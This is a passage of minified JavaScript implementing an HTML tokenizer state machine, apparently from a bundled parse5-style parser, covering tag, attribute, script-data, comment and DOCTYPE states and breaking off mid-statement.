AS(A){return A>=k1.LATIN_CAPITAL_A&&A<=k1.LATIN_CAPITAL_Z}function X5A(A){return A>=k1.LATIN_SMALL_A&&A<=k1.LATIN_SMALL_Z}function Ns(A){return X5A(A)||AS(A)}function Lf6(A){return Ns(A)||umA(A)}function XE7(A){return A>=k1.LATIN_CAPITAL_A&&A<=k1.LATIN_CAPITAL_F}function $E7(A){return A>=k1.LATIN_SMALL_A&&A<=k1.LATIN_SMALL_F}function IgY(A){return umA(A)||XE7(A)||$E7(A)}function eG1(A){return A+32}function _0(A){if(A<=65535)return String.fromCharCode(A);return A-=65536,String.fromCharCode(A>>>10&1023|55296)+String.fromCharCode(56320|A&1023)}function Vs(A){return String.fromCharCode(eG1(A))}function OE7(A,K){let q=$5A[++A],Y=++A,z=Y+q-1;while(Y<=z){let w=Y+z>>>1,H=$5A[w];if(H<K)Y=w+1;else if(H>K)z=w-1;else return $5A[w+q]}return-1}class $H{constructor(){this.preprocessor=new RgY,this.tokenQueue=[],this.allowCDATA=!1,this.state="DATA_STATE",this.returnState="",this.charRefCode=-1,this.tempBuff=[],this.lastStartTagName="",this.consumedAfterSnapshot=-1,this.active=!1,this.currentCharacterToken=null,this.currentToken=null,this.currentAttr=null}_err(){}_errOnNextCodePoint(A){this._consume(),this._err(A),this._unconsume()}getNextToken(){while(!this.tokenQueue.length&&this.active){this.consumedAfterSnapshot=0;let A=this._consume();if(!this._ensureHibernation())this[this.state](A)}return this.tokenQueue.shift()}write(A,K){this.active=!0,this.preprocessor.write(A,K)}insertHtmlAtCurrentPos(A){this.active=!0,this.preprocessor.insertHtmlAtCurrentPos(A)}_ensureHibernation(){if(this.preprocessor.endOfChunkHit){for(;this.consumedAfterSnapshot>0;this.consumedAfterSnapshot--)this.preprocessor.retreat();return this.active=!1,this.tokenQueue.push({type:$H.HIBERNATION_TOKEN}),!0}return!1}_consume(){return this.consumedAfterSnapshot++,this.preprocessor.advance()}_unconsume(){this.consumedAfterSnapshot--,this.preprocessor.retreat()}_reconsumeInState(A){this.state=A,this._unconsume()}_consumeSequenceIfMatch(A,K,q){let Y=0,z=!0,w=A.length,H=0,J=K,O=void 0;for(;H<w;H++){if(H>0)J=this._consume(),Y++;if(J===k1.EOF){z=!1;break}if(O=A[H],J!==O&&(q||J!==eG1(O))){z=!1;break}}if(!z)while(Y--)this._unconsume();return z}_isTempBufferEqualToScriptString(){if(this.tempBuff.length!==O5A.SCRIPT_STRING.length)return!1;for(let A=0;A<this.tempBuff.length;A++)if(this.tempBuff[A]!==O5A.SCRIPT_STRING[A])return!1;return!0}_createStartTagToken(){this.currentToken={type:$H.START_TAG_TOKEN,tagName:"",selfClosing:!1,ackSelfClosing:!1,attrs:[]}}_createEndTagToken(){this.currentToken={type:$H.END_TAG_TOKEN,tagName:"",selfClosing:!1,attrs:[]}}_createCommentToken(){this.currentToken={type:$H.COMMENT_TOKEN,data:""}}_createDoctypeToken(A){this.currentToken={type:$H.DOCTYPE_TOKEN,name:A,forceQuirks:!1,publicId:null,systemId:null}}_createCharacterToken(A,K){this.currentCharacterToken={type:A,chars:K}}_createEOFToken(){this.currentToken={type:$H.EOF_TOKEN}}_createAttr(A){this.currentAttr={name:A,value:""}}_leaveAttrName(A){if($H.getTokenAttr(this.currentToken,this.currentAttr.name)===null)this.currentToken.attrs.push(this.currentAttr);else this._err(_8.duplicateAttribute);this.state=A}_leaveAttrValue(A){this.state=A}_emitCurrentToken(){this._emitCurrentCharacterToken();let A=this.currentToken;if(this.currentToken=null,A.type===$H.START_TAG_TOKEN)this.lastStartTagName=A.tagName;else if(A.type===$H.END_TAG_TOKEN){if(A.attrs.length>0)this._err(_8.endTagWithAttributes);if(A.selfClosing)this._err(_8.endTagWithTrailingSolidus)}this.tokenQueue.push(A)}_emitCurrentCharacterToken(){if(this.currentCharacterToken)this.tokenQueue.push(this.currentCharacterToken),this.currentCharacterToken=null}_emitEOFToken(){this._createEOFToken(),this._emitCurrentToken()}_appendCharToCurrentCharacterToken(A,K){if(this.currentCharacterToken&&this.currentCharacterToken.type!==A)this._emitCurrentCharacterToken();if(this.currentCharacterToken)this.currentCharacterToken.chars+=K;else this._createCharacterToken(A,K)}_emitCodePoint(A){let K=$H.CHARACTER_TOKEN;if(rH(A))K=$H.WHITESPACE_CHARACTER_TOKEN;else if(A===k1.NULL)K=$H.NULL_CHARACTER_TOKEN;this._appendCharToCurrentCharacterToken(K,_0(A))}_emitSeveralCodePoints(A){for(let K=0;K<A.length;K++)this._emitCodePoint(A[K])}_emitChars(A){this._appendCharToCurrentCharacterToken($H.CHARACTER_TOKEN,A)}_matchNamedCharacterReference(A){let K=null,q=1,Y=OE7(0,A);this.tempBuff.push(A);while(Y>-1){let z=$5A[Y],w=z<7;if(w&&z&1)K=z&2?[$5A[++Y],$5A[++Y]]:[$5A[++Y]],q=0;let J=this._consume();if(this.tempBuff.push(J),q++,J===k1.EOF)break;if(w)Y=z&4?OE7(Y,J):-1;else Y=J===z?++Y:-1}while(q--)this.tempBuff.pop(),this._unconsume();return K}_isCharacterReferenceInAttribute(){return this.returnState==="ATTRIBUTE_VALUE_DOUBLE_QUOTED_STATE"||this.returnState==="ATTRIBUTE_VALUE_SINGLE_QUOTED_STATE"||this.returnState==="ATTRIBUTE_VALUE_UNQUOTED_STATE"}_isCharacterReferenceAttributeQuirk(A){if(!A&&this._isCharacterReferenceInAttribute()){let K=this._consume();return this._unconsume(),K===k1.EQUALS_SIGN||Lf6(K)}return!1}_flushCodePointsConsumedAsCharacterReference(){if(this._isCharacterReferenceInAttribute())for(let A=0;A<this.tempBuff.length;A++)this.currentAttr.value+=_0(this.tempBuff[A]);else this._emitSeveralCodePoints(this.tempBuff);this.tempBuff=[]}["DATA_STATE"](A){if(this.preprocessor.dropParsedChunk(),A===k1.LESS_THAN_SIGN)this.state="TAG_OPEN_STATE";else if(A===k1.AMPERSAND)this.returnState="DATA_STATE",this.state="CHARACTER_REFERENCE_STATE";else if(A===k1.NULL)this._err(_8.unexpectedNullCharacter),this._emitCodePoint(A);else if(A===k1.EOF)this._emitEOFToken();else this._emitCodePoint(A)}["RCDATA_STATE"](A){if(this.preprocessor.dropParsedChunk(),A===k1.AMPERSAND)this.returnState="RCDATA_STATE",this.state="CHARACTER_REFERENCE_STATE";else if(A===k1.LESS_THAN_SIGN)this.state="RCDATA_LESS_THAN_SIGN_STATE";else if(A===k1.NULL)this._err(_8.unexpectedNullCharacter),this._emitChars(ez.REPLACEMENT_CHARACTER);else if(A===k1.EOF)this._emitEOFToken();else this._emitCodePoint(A)}["RAWTEXT_STATE"](A){if(this.preprocessor.dropParsedChunk(),A===k1.LESS_THAN_SIGN)this.state="RAWTEXT_LESS_THAN_SIGN_STATE";else if(A===k1.NULL)this._err(_8.unexpectedNullCharacter),this._emitChars(ez.REPLACEMENT_CHARACTER);else if(A===k1.EOF)this._emitEOFToken();else this._emitCodePoint(A)}["SCRIPT_DATA_STATE"](A){if(this.preprocessor.dropParsedChunk(),A===k1.LESS_THAN_SIGN)this.state="SCRIPT_DATA_LESS_THAN_SIGN_STATE";else if(A===k1.NULL)this._err(_8.unexpectedNullCharacter),this._emitChars(ez.REPLACEMENT_CHARACTER);else if(A===k1.EOF)this._emitEOFToken();else this._emitCodePoint(A)}["PLAINTEXT_STATE"](A){if(this.preprocessor.dropParsedChunk(),A===k1.NULL)this._err(_8.unexpectedNullCharacter),this._emitChars(ez.REPLACEMENT_CHARACTER);else if(A===k1.EOF)this._emitEOFToken();else this._emitCodePoint(A)}["TAG_OPEN_STATE"](A){if(A===k1.EXCLAMATION_MARK)this.state="MARKUP_DECLARATION_OPEN_STATE";else if(A===k1.SOLIDUS)this.state="END_TAG_OPEN_STATE";else if(Ns(A))this._createStartTagToken(),this._reconsumeInState("TAG_NAME_STATE");else if(A===k1.QUESTION_MARK)this._err(_8.unexpectedQuestionMarkInsteadOfTagName),this._createCommentToken(),this._reconsumeInState("BOGUS_COMMENT_STATE");else if(A===k1.EOF)this._err(_8.eofBeforeTagName),this._emitChars("<"),this._emitEOFToken();else this._err(_8.invalidFirstCharacterOfTagName),this._emitChars("<"),this._reconsumeInState("DATA_STATE")}["END_TAG_OPEN_STATE"](A){if(Ns(A))this._createEndTagToken(),this._reconsumeInState("TAG_NAME_STATE");else if(A===k1.GREATER_THAN_SIGN)this._err(_8.missingEndTagName),this.state="DATA_STATE";else if(A===k1.EOF)this._err(_8.eofBeforeTagName),this._emitChars("</"),this._emitEOFToken();else this._err(_8.invalidFirstCharacterOfTagName),this._createCommentToken(),this._reconsumeInState("BOGUS_COMMENT_STATE")}["TAG_NAME_STATE"](A){if(rH(A))this.state="BEFORE_ATTRIBUTE_NAME_STATE";else if(A===k1.SOLIDUS)this.state="SELF_CLOSING_START_TAG_STATE";else if(A===k1.GREATER_THAN_SIGN)this.state="DATA_STATE",this._emitCurrentToken();else if(AS(A))this.currentToken.tagName+=Vs(A);else if(A===k1.NULL)this._err(_8.unexpectedNullCharacter),this.currentToken.tagName+=ez.REPLACEMENT_CHARACTER;else if(A===k1.EOF)this._err(_8.eofInTag),this._emitEOFToken();else this.currentToken.tagName+=_0(A)}["RCDATA_LESS_THAN_SIGN_STATE"](A){if(A===k1.SOLIDUS)this.tempBuff=[],this.state="RCDATA_END_TAG_OPEN_STATE";else this._emitChars("<"),this._reconsumeInState("RCDATA_STATE")}["RCDATA_END_TAG_OPEN_STATE"](A){if(Ns(A))this._createEndTagToken(),this._reconsumeInState("RCDATA_END_TAG_NAME_STATE");else this._emitChars("</"),this._reconsumeInState("RCDATA_STATE")}["RCDATA_END_TAG_NAME_STATE"](A){if(AS(A))this.currentToken.tagName+=Vs(A),this.tempBuff.push(A);else if(X5A(A))this.currentToken.tagName+=_0(A),this.tempBuff.push(A);else{if(this.lastStartTagName===this.currentToken.tagName){if(rH(A)){this.state="BEFORE_ATTRIBUTE_NAME_STATE";return}if(A===k1.SOLIDUS){this.state="SELF_CLOSING_START_TAG_STATE";return}if(A===k1.GREATER_THAN_SIGN){this.state="DATA_STATE",this._emitCurrentToken();return}}this._emitChars("</"),this._emitSeveralCodePoints(this.tempBuff),this._reconsumeInState("RCDATA_STATE")}}["RAWTEXT_LESS_THAN_SIGN_STATE"](A){if(A===k1.SOLIDUS)this.tempBuff=[],this.state="RAWTEXT_END_TAG_OPEN_STATE";else this._emitChars("<"),this._reconsumeInState("RAWTEXT_STATE")}["RAWTEXT_END_TAG_OPEN_STATE"](A){if(Ns(A))this._createEndTagToken(),this._reconsumeInState("RAWTEXT_END_TAG_NAME_STATE");else this._emitChars("</"),this._reconsumeInState("RAWTEXT_STATE")}["RAWTEXT_END_TAG_NAME_STATE"](A){if(AS(A))this.currentToken.tagName+=Vs(A),this.tempBuff.push(A);else if(X5A(A))this.currentToken.tagName+=_0(A),this.tempBuff.push(A);else{if(this.lastStartTagName===this.currentToken.tagName){if(rH(A)){this.state="BEFORE_ATTRIBUTE_NAME_STATE";return}if(A===k1.SOLIDUS){this.state="SELF_CLOSING_START_TAG_STATE";return}if(A===k1.GREATER_THAN_SIGN){this._emitCurrentToken(),this.state="DATA_STATE";return}}this._emitChars("</"),this._emitSeveralCodePoints(this.tempBuff),this._reconsumeInState("RAWTEXT_STATE")}}["SCRIPT_DATA_LESS_THAN_SIGN_STATE"](A){if(A===k1.SOLIDUS)this.tempBuff=[],this.state="SCRIPT_DATA_END_TAG_OPEN_STATE";else if(A===k1.EXCLAMATION_MARK)this.state="SCRIPT_DATA_ESCAPE_START_STATE",this._emitChars("<!");else this._emitChars("<"),this._reconsumeInState("SCRIPT_DATA_STATE")}["SCRIPT_DATA_END_TAG_OPEN_STATE"](A){if(Ns(A))this._createEndTagToken(),this._reconsumeInState("SCRIPT_DATA_END_TAG_NAME_STATE");else this._emitChars("</"),this._reconsumeInState("SCRIPT_DATA_STATE")}["SCRIPT_DATA_END_TAG_NAME_STATE"](A){if(AS(A))this.currentToken.tagName+=Vs(A),this.tempBuff.push(A);else if(X5A(A))this.currentToken.tagName+=_0(A),this.tempBuff.push(A);else{if(this.lastStartTagName===this.currentToken.tagName){if(rH(A)){this.state="BEFORE_ATTRIBUTE_NAME_STATE";return}else if(A===k1.SOLIDUS){this.state="SELF_CLOSING_START_TAG_STATE";return}else if(A===k1.GREATER_THAN_SIGN){this._emitCurrentToken(),this.state="DATA_STATE";return}}this._emitChars("</"),this._emitSeveralCodePoints(this.tempBuff),this._reconsumeInState("SCRIPT_DATA_STATE")}}["SCRIPT_DATA_ESCAPE_START_STATE"](A){if(A===k1.HYPHEN_MINUS)this.state="SCRIPT_DATA_ESCAPE_START_DASH_STATE",this._emitChars("-");else this._reconsumeInState("SCRIPT_DATA_STATE")}["SCRIPT_DATA_ESCAPE_START_DASH_STATE"](A){if(A===k1.HYPHEN_MINUS)this.state="SCRIPT_DATA_ESCAPED_DASH_DASH_STATE",this._emitChars("-");else this._reconsumeInState("SCRIPT_DATA_STATE")}["SCRIPT_DATA_ESCAPED_STATE"](A){if(A===k1.HYPHEN_MINUS)this.state="SCRIPT_DATA_ESCAPED_DASH_STATE",this._emitChars("-");else if(A===k1.LESS_THAN_SIGN)this.state="SCRIPT_DATA_ESCAPED_LESS_THAN_SIGN_STATE";else if(A===k1.NULL)this._err(_8.unexpectedNullCharacter),this._emitChars(ez.REPLACEMENT_CHARACTER);else if(A===k1.EOF)this._err(_8.eofInScriptHtmlCommentLikeText),this._emitEOFToken();else this._emitCodePoint(A)}["SCRIPT_DATA_ESCAPED_DASH_STATE"](A){if(A===k1.HYPHEN_MINUS)this.state="SCRIPT_DATA_ESCAPED_DASH_DASH_STATE",this._emitChars("-");else if(A===k1.LESS_THAN_SIGN)this.state="SCRIPT_DATA_ESCAPED_LESS_THAN_SIGN_STATE";else if(A===k1.NULL)this._err(_8.unexpectedNullCharacter),this.state="SCRIPT_DATA_ESCAPED_STATE",this._emitChars(ez.REPLACEMENT_CHARACTER);else if(A===k1.EOF)this._err(_8.eofInScriptHtmlCommentLikeText),this._emitEOFToken();else this.state="SCRIPT_DATA_ESCAPED_STATE",this._emitCodePoint(A)}["SCRIPT_DATA_ESCAPED_DASH_DASH_STATE"](A){if(A===k1.HYPHEN_MINUS)this._emitChars("-");else if(A===k1.LESS_THAN_SIGN)this.state="SCRIPT_DATA_ESCAPED_LESS_THAN_SIGN_STATE";else if(A===k1.GREATER_THAN_SIGN)this.state="SCRIPT_DATA_STATE",this._emitChars(">");else if(A===k1.NULL)this._err(_8.unexpectedNullCharacter),this.state="SCRIPT_DATA_ESCAPED_STATE",this._emitChars(ez.REPLACEMENT_CHARACTER);else if(A===k1.EOF)this._err(_8.eofInScriptHtmlCommentLikeText),this._emitEOFToken();else this.state="SCRIPT_DATA_ESCAPED_STATE",this._emitCodePoint(A)}["SCRIPT_DATA_ESCAPED_LESS_THAN_SIGN_STATE"](A){if(A===k1.SOLIDUS)this.tempBuff=[],this.state="SCRIPT_DATA_ESCAPED_END_TAG_OPEN_STATE";else if(Ns(A))this.tempBuff=[],this._emitChars("<"),this._reconsumeInState("SCRIPT_DATA_DOUBLE_ESCAPE_START_STATE");else this._emitChars("<"),this._reconsumeInState("SCRIPT_DATA_ESCAPED_STATE")}["SCRIPT_DATA_ESCAPED_END_TAG_OPEN_STATE"](A){if(Ns(A))this._createEndTagToken(),this._reconsumeInState("SCRIPT_DATA_ESCAPED_END_TAG_NAME_STATE");else this._emitChars("</"),this._reconsumeInState("SCRIPT_DATA_ESCAPED_STATE")}["SCRIPT_DATA_ESCAPED_END_TAG_NAME_STATE"](A){if(AS(A))this.currentToken.tagName+=Vs(A),this.tempBuff.push(A);else if(X5A(A))this.currentToken.tagName+=_0(A),this.tempBuff.push(A);else{if(this.lastStartTagName===this.currentToken.tagName){if(rH(A)){this.state="BEFORE_ATTRIBUTE_NAME_STATE";return}if(A===k1.SOLIDUS){this.state="SELF_CLOSING_START_TAG_STATE";return}if(A===k1.GREATER_THAN_SIGN){this._emitCurrentToken(),this.state="DATA_STATE";return}}this._emitChars("</"),this._emitSeveralCodePoints(this.tempBuff),this._reconsumeInState("SCRIPT_DATA_ESCAPED_STATE")}}["SCRIPT_DATA_DOUBLE_ESCAPE_START_STATE"](A){if(rH(A)||A===k1.SOLIDUS||A===k1.GREATER_THAN_SIGN)this.state=this._isTempBufferEqualToScriptString()?"SCRIPT_DATA_DOUBLE_ESCAPED_STATE":"SCRIPT_DATA_ESCAPED_STATE",this._emitCodePoint(A);else if(AS(A))this.tempBuff.push(eG1(A)),this._emitCodePoint(A);else if(X5A(A))this.tempBuff.push(A),this._emitCodePoint(A);else this._reconsumeInState("SCRIPT_DATA_ESCAPED_STATE")}["SCRIPT_DATA_DOUBLE_ESCAPED_STATE"](A){if(A===k1.HYPHEN_MINUS)this.state="SCRIPT_DATA_DOUBLE_ESCAPED_DASH_STATE",this._emitChars("-");else if(A===k1.LESS_THAN_SIGN)this.state="SCRIPT_DATA_DOUBLE_ESCAPED_LESS_THAN_SIGN_STATE",this._emitChars("<");else if(A===k1.NULL)this._err(_8.unexpectedNullCharacter),this._emitChars(ez.REPLACEMENT_CHARACTER);else if(A===k1.EOF)this._err(_8.eofInScriptHtmlCommentLikeText),this._emitEOFToken();else this._emitCodePoint(A)}["SCRIPT_DATA_DOUBLE_ESCAPED_DASH_STATE"](A){if(A===k1.HYPHEN_MINUS)this.state="SCRIPT_DATA_DOUBLE_ESCAPED_DASH_DASH_STATE",this._emitChars("-");else if(A===k1.LESS_THAN_SIGN)this.state="SCRIPT_DATA_DOUBLE_ESCAPED_LESS_THAN_SIGN_STATE",this._emitChars("<");else if(A===k1.NULL)this._err(_8.unexpectedNullCharacter),this.state="SCRIPT_DATA_DOUBLE_ESCAPED_STATE",this._emitChars(ez.REPLACEMENT_CHARACTER);else if(A===k1.EOF)this._err(_8.eofInScriptHtmlCommentLikeText),this._emitEOFToken();else this.state="SCRIPT_DATA_DOUBLE_ESCAPED_STATE",this._emitCodePoint(A)}["SCRIPT_DATA_DOUBLE_ESCAPED_DASH_DASH_STATE"](A){if(A===k1.HYPHEN_MINUS)this._emitChars("-");else if(A===k1.LESS_THAN_SIGN)this.state="SCRIPT_DATA_DOUBLE_ESCAPED_LESS_THAN_SIGN_STATE",this._emitChars("<");else if(A===k1.GREATER_THAN_SIGN)this.state="SCRIPT_DATA_STATE",this._emitChars(">");else if(A===k1.NULL)this._err(_8.unexpectedNullCharacter),this.state="SCRIPT_DATA_DOUBLE_ESCAPED_STATE",this._emitChars(ez.REPLACEMENT_CHARACTER);else if(A===k1.EOF)this._err(_8.eofInScriptHtmlCommentLikeText),this._emitEOFToken();else this.state="SCRIPT_DATA_DOUBLE_ESCAPED_STATE",this._emitCodePoint(A)}["SCRIPT_DATA_DOUBLE_ESCAPED_LESS_THAN_SIGN_STATE"](A){if(A===k1.SOLIDUS)this.tempBuff=[],this.state="SCRIPT_DATA_DOUBLE_ESCAPE_END_STATE",this._emitChars("/");else this._reconsumeInState("SCRIPT_DATA_DOUBLE_ESCAPED_STATE")}["SCRIPT_DATA_DOUBLE_ESCAPE_END_STATE"](A){if(rH(A)||A===k1.SOLIDUS||A===k1.GREATER_THAN_SIGN)this.state=this._isTempBufferEqualToScriptString()?"SCRIPT_DATA_ESCAPED_STATE":"SCRIPT_DATA_DOUBLE_ESCAPED_STATE",this._emitCodePoint(A);else if(AS(A))this.tempBuff.push(eG1(A)),this._emitCodePoint(A);else if(X5A(A))this.tempBuff.push(A),this._emitCodePoint(A);else this._reconsumeInState("SCRIPT_DATA_DOUBLE_ESCAPED_STATE")}["BEFORE_ATTRIBUTE_NAME_STATE"](A){if(rH(A))return;if(A===k1.SOLIDUS||A===k1.GREATER_THAN_SIGN||A===k1.EOF)this._reconsumeInState("AFTER_ATTRIBUTE_NAME_STATE");else if(A===k1.EQUALS_SIGN)this._err(_8.unexpectedEqualsSignBeforeAttributeName),this._createAttr("="),this.state="ATTRIBUTE_NAME_STATE";else this._createAttr(""),this._reconsumeInState("ATTRIBUTE_NAME_STATE")}["ATTRIBUTE_NAME_STATE"](A){if(rH(A)||A===k1.SOLIDUS||A===k1.GREATER_THAN_SIGN||A===k1.EOF)this._leaveAttrName("AFTER_ATTRIBUTE_NAME_STATE"),this._unconsume();else if(A===k1.EQUALS_SIGN)this._leaveAttrName("BEFORE_ATTRIBUTE_VALUE_STATE");else if(AS(A))this.currentAttr.name+=Vs(A);else if(A===k1.QUOTATION_MARK||A===k1.APOSTROPHE||A===k1.LESS_THAN_SIGN)this._err(_8.unexpectedCharacterInAttributeName),this.currentAttr.name+=_0(A);else if(A===k1.NULL)this._err(_8.unexpectedNullCharacter),this.currentAttr.name+=ez.REPLACEMENT_CHARACTER;else this.currentAttr.name+=_0(A)}["AFTER_ATTRIBUTE_NAME_STATE"](A){if(rH(A))return;if(A===k1.SOLIDUS)this.state="SELF_CLOSING_START_TAG_STATE";else if(A===k1.EQUALS_SIGN)this.state="BEFORE_ATTRIBUTE_VALUE_STATE";else if(A===k1.GREATER_THAN_SIGN)this.state="DATA_STATE",this._emitCurrentToken();else if(A===k1.EOF)this._err(_8.eofInTag),this._emitEOFToken();else this._createAttr(""),this._reconsumeInState("ATTRIBUTE_NAME_STATE")}["BEFORE_ATTRIBUTE_VALUE_STATE"](A){if(rH(A))return;if(A===k1.QUOTATION_MARK)this.state="ATTRIBUTE_VALUE_DOUBLE_QUOTED_STATE";else if(A===k1.APOSTROPHE)this.state="ATTRIBUTE_VALUE_SINGLE_QUOTED_STATE";else if(A===k1.GREATER_THAN_SIGN)this._err(_8.missingAttributeValue),this.state="DATA_STATE",this._emitCurrentToken();else this._reconsumeInState("ATTRIBUTE_VALUE_UNQUOTED_STATE")}["ATTRIBUTE_VALUE_DOUBLE_QUOTED_STATE"](A){if(A===k1.QUOTATION_MARK)this.state="AFTER_ATTRIBUTE_VALUE_QUOTED_STATE";else if(A===k1.AMPERSAND)this.returnState="ATTRIBUTE_VALUE_DOUBLE_QUOTED_STATE",this.state="CHARACTER_REFERENCE_STATE";else if(A===k1.NULL)this._err(_8.unexpectedNullCharacter),this.currentAttr.value+=ez.REPLACEMENT_CHARACTER;else if(A===k1.EOF)this._err(_8.eofInTag),this._emitEOFToken();else this.currentAttr.value+=_0(A)}["ATTRIBUTE_VALUE_SINGLE_QUOTED_STATE"](A){if(A===k1.APOSTROPHE)this.state="AFTER_ATTRIBUTE_VALUE_QUOTED_STATE";else if(A===k1.AMPERSAND)this.returnState="ATTRIBUTE_VALUE_SINGLE_QUOTED_STATE",this.state="CHARACTER_REFERENCE_STATE";else if(A===k1.NULL)this._err(_8.unexpectedNullCharacter),this.currentAttr.value+=ez.REPLACEMENT_CHARACTER;else if(A===k1.EOF)this._err(_8.eofInTag),this._emitEOFToken();else this.currentAttr.value+=_0(A)}["ATTRIBUTE_VALUE_UNQUOTED_STATE"](A){if(rH(A))this._leaveAttrValue("BEFORE_ATTRIBUTE_NAME_STATE");else if(A===k1.AMPERSAND)this.returnState="ATTRIBUTE_VALUE_UNQUOTED_STATE",this.state="CHARACTER_REFERENCE_STATE";else if(A===k1.GREATER_THAN_SIGN)this._leaveAttrValue("DATA_STATE"),this._emitCurrentToken();else if(A===k1.NULL)this._err(_8.unexpectedNullCharacter),this.currentAttr.value+=ez.REPLACEMENT_CHARACTER;else if(A===k1.QUOTATION_MARK||A===k1.APOSTROPHE||A===k1.LESS_THAN_SIGN||A===k1.EQUALS_SIGN||A===k1.GRAVE_ACCENT)this._err(_8.unexpectedCharacterInUnquotedAttributeValue),this.currentAttr.value+=_0(A);else if(A===k1.EOF)this._err(_8.eofInTag),this._emitEOFToken();else this.currentAttr.value+=_0(A)}["AFTER_ATTRIBUTE_VALUE_QUOTED_STATE"](A){if(rH(A))this._leaveAttrValue("BEFORE_ATTRIBUTE_NAME_STATE");else if(A===k1.SOLIDUS)this._leaveAttrValue("SELF_CLOSING_START_TAG_STATE");else if(A===k1.GREATER_THAN_SIGN)this._leaveAttrValue("DATA_STATE"),this._emitCurrentToken();else if(A===k1.EOF)this._err(_8.eofInTag),this._emitEOFToken();else this._err(_8.missingWhitespaceBetweenAttributes),this._reconsumeInState("BEFORE_ATTRIBUTE_NAME_STATE")}["SELF_CLOSING_START_TAG_STATE"](A){if(A===k1.GREATER_THAN_SIGN)this.currentToken.selfClosing=!0,this.state="DATA_STATE",this._emitCurrentToken();else if(A===k1.EOF)this._err(_8.eofInTag),this._emitEOFToken();else this._err(_8.unexpectedSolidusInTag),this._reconsumeInState("BEFORE_ATTRIBUTE_NAME_STATE")}["BOGUS_COMMENT_STATE"](A){if(A===k1.GREATER_THAN_SIGN)this.state="DATA_STATE",this._emitCurrentToken();else if(A===k1.EOF)this._emitCurrentToken(),this._emitEOFToken();else if(A===k1.NULL)this._err(_8.unexpectedNullCharacter),this.currentToken.data+=ez.REPLACEMENT_CHARACTER;else this.currentToken.data+=_0(A)}["MARKUP_DECLARATION_OPEN_STATE"](A){if(this._consumeSequenceIfMatch(O5A.DASH_DASH_STRING,A,!0))this._createCommentToken(),this.state="COMMENT_START_STATE";else if(this._consumeSequenceIfMatch(O5A.DOCTYPE_STRING,A,!1))this.state="DOCTYPE_STATE";else if(this._consumeSequenceIfMatch(O5A.CDATA_START_STRING,A,!0))if(this.allowCDATA)this.state="CDATA_SECTION_STATE";else this._err(_8.cdataInHtmlContent),this._createCommentToken(),this.currentToken.data="[CDATA[",this.state="BOGUS_COMMENT_STATE";else if(!this._ensureHibernation())this._err(_8.incorrectlyOpenedComment),this._createCommentToken(),this._reconsumeInState("BOGUS_COMMENT_STATE")}["COMMENT_START_STATE"](A){if(A===k1.HYPHEN_MINUS)this.state="COMMENT_START_DASH_STATE";else if(A===k1.GREATER_THAN_SIGN)this._err(_8.abruptClosingOfEmptyComment),this.state="DATA_STATE",this._emitCurrentToken();else this._reconsumeInState("COMMENT_STATE")}["COMMENT_START_DASH_STATE"](A){if(A===k1.HYPHEN_MINUS)this.state="COMMENT_END_STATE";else if(A===k1.GREATER_THAN_SIGN)this._err(_8.abruptClosingOfEmptyComment),this.state="DATA_STATE",this._emitCurrentToken();else if(A===k1.EOF)this._err(_8.eofInComment),this._emitCurrentToken(),this._emitEOFToken();else this.currentToken.data+="-",this._reconsumeInState("COMMENT_STATE")}["COMMENT_STATE"](A){if(A===k1.HYPHEN_MINUS)this.state="COMMENT_END_DASH_STATE";else if(A===k1.LESS_THAN_SIGN)this.currentToken.data+="<",this.state="COMMENT_LESS_THAN_SIGN_STATE";else if(A===k1.NULL)this._err(_8.unexpectedNullCharacter),this.currentToken.data+=ez.REPLACEMENT_CHARACTER;else if(A===k1.EOF)this._err(_8.eofInComment),this._emitCurrentToken(),this._emitEOFToken();else this.currentToken.data+=_0(A)}["COMMENT_LESS_THAN_SIGN_STATE"](A){if(A===k1.EXCLAMATION_MARK)this.currentToken.data+="!",this.state="COMMENT_LESS_THAN_SIGN_BANG_STATE";else if(A===k1.LESS_THAN_SIGN)this.currentToken.data+="!";else this._reconsumeInState("COMMENT_STATE")}["COMMENT_LESS_THAN_SIGN_BANG_STATE"](A){if(A===k1.HYPHEN_MINUS)this.state="COMMENT_LESS_THAN_SIGN_BANG_DASH_STATE";else this._reconsumeInState("COMMENT_STATE")}["COMMENT_LESS_THAN_SIGN_BANG_DASH_STATE"](A){if(A===k1.HYPHEN_MINUS)this.state="COMMENT_LESS_THAN_SIGN_BANG_DASH_DASH_STATE";else this._reconsumeInState("COMMENT_END_DASH_STATE")}["COMMENT_LESS_THAN_SIGN_BANG_DASH_DASH_STATE"](A){if(A!==k1.GREATER_THAN_SIGN&&A!==k1.EOF)this._err(_8.nestedComment);this._reconsumeInState("COMMENT_END_STATE")}["COMMENT_END_DASH_STATE"](A){if(A===k1.HYPHEN_MINUS)this.state="COMMENT_END_STATE";else if(A===k1.EOF)this._err(_8.eofInComment),this._emitCurrentToken(),this._emitEOFToken();else this.currentToken.data+="-",this._reconsumeInState("COMMENT_STATE")}["COMMENT_END_STATE"](A){if(A===k1.GREATER_THAN_SIGN)this.state="DATA_STATE",this._emitCurrentToken();else if(A===k1.EXCLAMATION_MARK)this.state="COMMENT_END_BANG_STATE";else if(A===k1.HYPHEN_MINUS)this.currentToken.data+="-";else if(A===k1.EOF)this._err(_8.eofInComment),this._emitCurrentToken(),this._emitEOFToken();else this.currentToken.data+="--",this._reconsumeInState("COMMENT_STATE")}["COMMENT_END_BANG_STATE"](A){if(A===k1.HYPHEN_MINUS)this.currentToken.data+="--!",this.state="COMMENT_END_DASH_STATE";else if(A===k1.GREATER_THAN_SIGN)this._err(_8.incorrectlyClosedComment),this.state="DATA_STATE",this._emitCurrentToken();else if(A===k1.EOF)this._err(_8.eofInComment),this._emitCurrentToken(),this._emitEOFToken();else this.currentToken.data+="--!",this._reconsumeInState("COMMENT_STATE")}["DOCTYPE_STATE"](A){if(rH(A))this.state="BEFORE_DOCTYPE_NAME_STATE";else if(A===k1.GREATER_THAN_SIGN)this._reconsumeInState("BEFORE_DOCTYPE_NAME_STATE");else if(A===k1.EOF)this._err(_8.eofInDoctype),this._createDoctypeToken(null),this.currentToken.forceQuirks=!0,this._emitCurrentToken(),this._emitEOFToken();else this._err(_8.missingWhitespaceBeforeDoctypeName),this._reconsumeInState("BEFORE_DOCTYPE_NAME_STATE")}["BEFORE_DOCTYPE_NAME_STATE"](A){if(rH(A))return;if(AS(A))this._createDoctypeToken(Vs(A)),this.state="DOCTYPE_NAME_STATE";else if(A===k1.NULL)this._err(_8.unexpectedNullCharacter),this._createDoctypeToken(ez.REPLACEMENT_CHARACTER),this.state="DOCTYPE_NAME_STATE";else 